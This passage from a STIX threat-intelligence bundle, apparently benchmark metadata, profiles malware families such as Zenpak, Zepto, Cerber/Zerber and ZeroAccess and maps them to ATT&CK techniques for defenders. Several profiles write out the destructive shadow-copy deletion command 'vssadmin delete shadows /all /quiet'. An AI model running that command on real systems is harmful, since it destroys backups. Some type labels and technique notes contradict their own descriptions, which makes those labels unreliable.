      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zenosearch exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb38c5ad-a3ac-5457-9770-665d79e601f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e96984dd-7f16-5a49-93d2-d41b825f9fe0",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zenosearch exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9ad92f2-ba24-5d80-a482-e0afed96bac3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e96984dd-7f16-5a49-93d2-d41b825f9fe0",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zenosearch exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b59daf08-fa92-55c6-9116-5ee752febcb7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zenpak",
      "description": "Zenpak (identified across antivirus telemetries under signatures including Ransom:Win32/Zenpak, Trojan-Ransom.Win32.Zenpak, and Trojan.Zenpak) is an evasive crypto-ransomware and extortion threat active since 2016. Infiltrating endpoints primarily through malicious spam campaigns with macro-enabled document attachments, Zenpak executes rapid evasion and reconnaissance routines upon system infiltration. Zenpak terminates database, backup, and endpoint security processes to release open file handles before traversing local storage drives, removable media, and mounted network file shares. Using AES-256 symmetric encryption combined with RSA public-key protection, Zenpak encrypts documents, spreadsheets, databases, and archives, appending an extortion extension to affected files. It deletes Volume Shadow Copies (vssadmin delete shadows /all /quiet), alters desktop background settings to display extortion notices, and demands cryptocurrency ransoms in exchange for a proprietary decryptor. (Observed samples in benchmark: 27)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Zenpak",
        "Trojan-Ransom.Win32.Zenpak",
        "Trojan.Zenpak",
        "Win32/Zenpak",
        "Ransom:Win32/Zenpak.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zenpak",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zenpak"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--94cdc089-f012-542d-bb63-c739ffdf89e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zepfod",
      "description": "Zepfod is a stealthy Windows trojan downloader and reconnaissance agent active since 2015. Distributed via malicious email attachments, cracked gaming packages, and affiliate download wrappers, Zepfod serves as an initial access stager on compromised endpoints. Once launched, Zepfod interrogates the host operating system, gathering system architecture, installed security software, locale, and network configuration. It establishes persistent autostart entries in the Windows registry under CurrentVersion\\Run and initiates encrypted HTTP/TCP beacons to remote command-and-control servers, downloading and executing secondary malicious payloads such as cryptocurrency miners, infostealers, or backdoor components. (Observed samples in benchmark: 46)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Zepfod",
        "Trojan.Win32.Zepfod",
        "TrojanDownloader:Win32/Zepfod",
        "Win32/Zepfod"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zepfod",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zepfod"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24413676-afdc-52f3-b6e1-5336dc96de44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94cdc089-f012-542d-bb63-c739ffdf89e9",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zepfod exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38fedd43-5406-5a55-8c09-cb7279134fe6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94cdc089-f012-542d-bb63-c739ffdf89e9",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zepfod exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f27bb0c-7fd2-5780-af82-3529a9f22df2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94cdc089-f012-542d-bb63-c739ffdf89e9",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zepfod exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0b16dd1-88ab-5b1c-8f35-a31b605214fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94cdc089-f012-542d-bb63-c739ffdf89e9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zepfod exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c324dc6-3d0a-5173-894c-968239729008",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--94cdc089-f012-542d-bb63-c739ffdf89e9",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zepfod exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b740d083-8cd8-567c-9f6c-141d17f6ca26",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zepto",
      "description": "<h3>Executive Summary</h3>\nZepto is a highly destructive ransomware variant that gained massive notoriety in mid-2016. It is a direct evolution (and effectively a rebranded version) of the infamous Locky ransomware family. Zepto utilizes military-grade encryption to lock a victim's critical data, appends the `.zepto` extension to affected files, and demands a cryptocurrency ransom, causing immediate and catastrophic operational downtime.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nZepto was primarily distributed through massive, automated spam campaigns orchestrated by the Necurs botnet. The phishing emails typically contained malicious `.zip` archives housing weaponized JavaScript (`.js`) or Visual Basic Script (`.vbs`) files, or `.docm` files with malicious macros.\n\nOnce the script is executed, Zepto operates with devastating efficiency:\n<ul>\n<li><strong>Evasion and C2 Communication:</strong> The malware often uses a Domain Generation Algorithm (DGA) to rapidly locate its command-and-control servers. It securely negotiates and receives the public RSA key required to begin the encryption process.</li>\n<li><strong>Rapid File Encryption:</strong> Zepto scans local drives, removable media, and specifically targets all mapped and unmapped network shares. It encrypts files using a hybrid RSA-2048 and AES-128 algorithm, replacing the original filename and appending the `.zepto` extension.</li>\n<li><strong>Shadow Copy Deletion:</strong> To prevent easy recovery, Zepto executes commands (such as `vssadmin.exe delete shadows /all /quiet`) to instantly destroy Windows Volume Shadow Copies and disable local backup routines.</li>\n<li><strong>Extortion:</strong> After encryption, it drops a ransom note (often `_HELP_instructions.html` and `.bmp` files) in every affected directory and changes the desktop wallpaper to display the payment demands.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Zepto infection is a catastrophic security incident resulting in massive data loss. Due to the strength of the RSA/AES hybrid encryption, files cannot be recovered without the private key held by the attackers or a viable offline backup.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Physical Isolation:</strong> Disconnect the infected machine from the network immediately (pull the Ethernet cable/disable Wi-Fi) to halt the encryption process and prevent the ransomware from traversing SMB shares to encrypt centralized file servers.</li>\n<li><strong>Do Not Reboot:</strong> Leave the machine powered on. Rebooting may trigger further destructive routines or destroy the encryption key if it temporarily resides in RAM.</li>\n<li><strong>Restore from Offline Backups:</strong> The only reliable remediation is to completely wipe the infected system (bare-metal reinstall) and restore the data from secure, offline backups that were unreachable by the ransomware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Zepto",
        "Trojan-Ransom.Win32.Locky.Zepto",
        "Filecoder.Zepto"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zepto",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zepto"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b19f0262-58a0-51b6-81ba-cd28a1b5309d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b740d083-8cd8-567c-9f6c-141d17f6ca26",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zepto exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d74db39f-df7e-5906-a97d-4220bae59a18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b740d083-8cd8-567c-9f6c-141d17f6ca26",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zepto exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae81cae3-7369-510d-abc9-b821bbc8df21",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b740d083-8cd8-567c-9f6c-141d17f6ca26",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zepto exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--beac3a50-cca6-546c-86f4-34b902476efc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b740d083-8cd8-567c-9f6c-141d17f6ca26",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zepto exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (VBScript within the ASP file))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12eebc39-1e2b-566e-8705-836ead2ac204",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b740d083-8cd8-567c-9f6c-141d17f6ca26",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zepto exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--565c48fa-b51d-5482-beb6-133aa1157dbf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zerber",
      "description": "Ransomware:Win32/Zerber (a common misspelling or heuristic variant of **Cerber Ransomware**) was one of the most prolific, sophisticated, and financially successful Ransomware-as-a-Service (RaaS) operations peaking between 2016 and 2017. Cerber was infamous for its highly organized affiliate structure, its ability to encrypt files offline without needing a C2 server, and its chilling use of VBScript to play a text-to-speech audio message informing the victim they had been hacked.<br><br><b>Understanding Cerber (Zerber)</b><br>To a victim, a Cerber infection resulted in the rapid encryption of all personal documents, databases, and media, appending a `.cerber` (or `.cerber2`, `.cerber3`, etc.) extension to the files. The desktop background was changed to a ransom note, and uniquely, the computer would physically speak to the user, demanding payment in Bitcoin. For a security analyst, Cerber represented a major leap in RaaS maturity. The developers provided affiliates with a robust web panel to track infections and revenue, focusing on maximizing the infection rate rather than relying on a few high-value targets.<br><br><b>Execution and Extortion Mechanics</b><br>Cerber was heavily distributed via the Magnitude and Rig Exploit Kits (`T1189`), as well as massive malspam campaigns utilizing malicious Office macros (`T1566.001`). Upon execution, the payload performs extensive environment checks (`T1497.001`) to evade sandboxes. It establishes persistence via Scheduled Tasks or Registry Run keys (`T1547.001`). Crucially, Cerber can encrypt files entirely offline (`T1486`) using a strong, randomly generated AES key (which is then encrypted with a master RSA public key hardcoded into the malware). It deletes Volume Shadow Copies (`vssadmin.exe`) to prevent recovery (`T1490`). It then drops its visual ransom notes (`.hta`, `.txt`) and the infamous `.vbs` script that utilizes the Windows Speech API to play the audio ransom demand (`T1491`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact was devastating data loss and extortion. EDR platforms would alert on the execution of `vssadmin.exe` to delete shadow copies, followed by rapid, massive file modification events across the disk. Network logs might show the malware attempting to ping external IP tracking services (like `ipinfo.io`) or attempting UDP-based C2 communication. The presence of `.cerber` file extensions and the audio playback script are definitive IoCs. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zerber",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zerber"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b539ccb7-aa9f-5798-a1d2-72feeb108d0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--565c48fa-b51d-5482-beb6-133aa1157dbf",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zerber exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a54f50d-0ceb-5726-8f51-36dfb6c3787b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--565c48fa-b51d-5482-beb6-133aa1157dbf",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zerber exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b790072c-27cb-54f7-98b9-9f94f71f514b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--565c48fa-b51d-5482-beb6-133aa1157dbf",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zerber exhibits technique T1491 (Defacement (Audio/Visual Ransom Note))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17e71bbc-f2ad-56a3-8215-defdbe55c014",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--565c48fa-b51d-5482-beb6-133aa1157dbf",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zerber exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5231aeed-f175-5194-bf8d-b1cc542ef122",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--565c48fa-b51d-5482-beb6-133aa1157dbf",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zerber exhibits technique T1189 (Drive-by Compromise (Exploit Kits))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d9b61639-5a37-51f4-a779-16b0a460dbb7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zero",
      "description": "<h3>Executive Summary</h3>\nWhile \"Zero\" can occasionally refer to minor ransomware variants, in enterprise security contexts, it most commonly refers to the ZeroAccess botnet (also known as Sirefef). ZeroAccess is a highly sophisticated, kernel-level rootkit designed to completely subjugate Windows systems. Its primary objective is to create a massive peer-to-peer (P2P) botnet utilized for highly profitable click fraud campaigns and Bitcoin mining, operating entirely invisibly to the user.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nZeroAccess is typically distributed via exploit kits (like Blackhole) hosted on compromised websites, which silently exploit unpatched browser or Java vulnerabilities. It is also distributed via malicious software bundlers on peer-to-peer networks.\n\nUpon execution, ZeroAccess employs advanced, highly destructive rootkit techniques:\n<ul>\n<li><strong>Kernel-Level Hooking:</strong> The malware injects itself deep into the Windows operating system core (Ring 0). It actively overwrites critical system drivers (like `tcpip.sys`) to intercept and manipulate network traffic.</li>\n<li><strong>Security Software Neutralization:</strong> ZeroAccess aggressively hunts for and terminates processes associated with antivirus and EDR solutions. It also actively blocks updates to Windows Defender and other security tools.</li>\n<li><strong>Hidden Volumes:</strong> It creates hidden, encrypted volumes within the Windows file system (often masquerading as Recycle Bin data) to store its configuration files, downloaded payloads, and the stolen click-fraud data, making it invisible to standard file explorers and basic AV scans.</li>\n<li><strong>P2P Communication:</strong> Rather than relying on a centralized C2 server that can be easily taken down, infected nodes communicate directly with each other via a custom P2P protocol to receive updates and new instructions.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA ZeroAccess infection is a critical compromise of system integrity. The malware's ability to operate at the kernel level means it completely controls the operating system's reality. It causes severe network congestion (due to P2P chatter and click fraud traffic) and leaves the machine completely defenseless against other malware.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Severance:</strong> Isolate the endpoint to halt the click fraud traffic and prevent it from acting as a node in the P2P botnet.</li>\n<li><strong>Do Not Attempt Cleaning:</strong> Because ZeroAccess overwrites critical system drivers and utilizes encrypted rootkit volumes, attempting to manually clean the infection or run standard AV removal tools will almost certainly result in a permanently unbootable system (Blue Screen of Death).</li>\n<li><strong>Total Re-imaging:</strong> The only secure and reliable remediation for a ZeroAccess/Sirefef infection is a complete bare-metal wipe of the hard drive and a fresh OS installation from a known-good baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rootkit.ZeroAccess",
        "Trojan.Sirefef",
        "Win32/ZeroAccess"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zero",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zero"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b04e6f68-8875-565d-ba9f-96d32385a44a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9b61639-5a37-51f4-a779-16b0a460dbb7",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zero exhibits technique T1014 (Rootkit (Hiding files and processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d48c393-467d-56b4-8d0b-97945249ba0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9b61639-5a37-51f4-a779-16b0a460dbb7",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zero exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--328798eb-4bb8-5df1-812c-88a1426af834",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9b61639-5a37-51f4-a779-16b0a460dbb7",
      "target_ref": "attack-pattern--cc845d08-6fc5-5758-8728-20ef39b3945b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zero exhibits technique T1090.003 (Proxy: Multi-hop Proxy (Use of Tor/I2P for C2))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6235de4-d07a-507d-bc94-74d554e0be74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9b61639-5a37-51f4-a779-16b0a460dbb7",
      "target_ref": "attack-pattern--0ebf3f78-b94e-5a10-9fa5-4141377ac9f4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zero exhibits technique T1564 (Hide Artifacts)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d5e9ef9e-397a-55ad-a881-bf95f423b393",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zeroaccess",
      "description": "ZeroAccess (also known worldwide as Sirefef and classified under signatures including Rootkit:Win32/Sirefef, Trojan:Win32/ZeroAccess, and Backdoor:Win32/Sirefef) is one of the most sophisticated and prolific peer-to-peer (P2P) botnets and kernel-mode rootkits in cybersecurity history, active from 2009 until major industry sinkholing disruptions in 2013\u20132014. ZeroAccess infected over 2 million endpoints globally, monetized primarily through massive Bitcoin mining and search engine click-fraud operations. The malware employs advanced rootkit techniques, overwriting system drivers, modifying Master Boot Records (MBR), creating hidden encrypted NTFS alternate data stream (ADS) volumes, and hooking kernel functions to conceal its presence. It communicates across a decentralized P2P Kad-like mesh network, allowing resilient distribution of binary updates and click-fraud tasks without relying on centralized C2 servers. (Observed samples in benchmark: 28)",
      "is_family": true,
      "malware_types": [
        "rootkit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rootkit:Win32/Sirefef",
        "Trojan:Win32/ZeroAccess",
        "Rootkit:Win32/ZeroAccess",
        "Win32/Sirefef",
        "Backdoor:Win32/Sirefef",
        "Sirefef Rootkit"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zeroaccess",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zeroaccess"
        }
      ],
      "labels": [
        "rootkit",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--19d36b5b-2801-5d20-b71a-1211bd3fddab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zesibund",
      "description": "Trojan:Win32/Zesibund is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Zesibund</b><br>To an end-user, a Zesibund infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Zesibund is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Zesibund is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Zesibund frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Zesibund reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zesibund",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zesibund"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e150e1d4-bdc4-5fb2-9797-97f956a4de8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19d36b5b-2801-5d20-b71a-1211bd3fddab",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zesibund exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--413bfe6f-6f9e-5b52-a4b8-6210439a70a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19d36b5b-2801-5d20-b71a-1211bd3fddab",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zesibund exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b42f59e-b60a-58da-a5d2-5d24fc21f6e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19d36b5b-2801-5d20-b71a-1211bd3fddab",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zesibund exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a8e2784-0791-5e15-a825-75becf89a71a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19d36b5b-2801-5d20-b71a-1211bd3fddab",
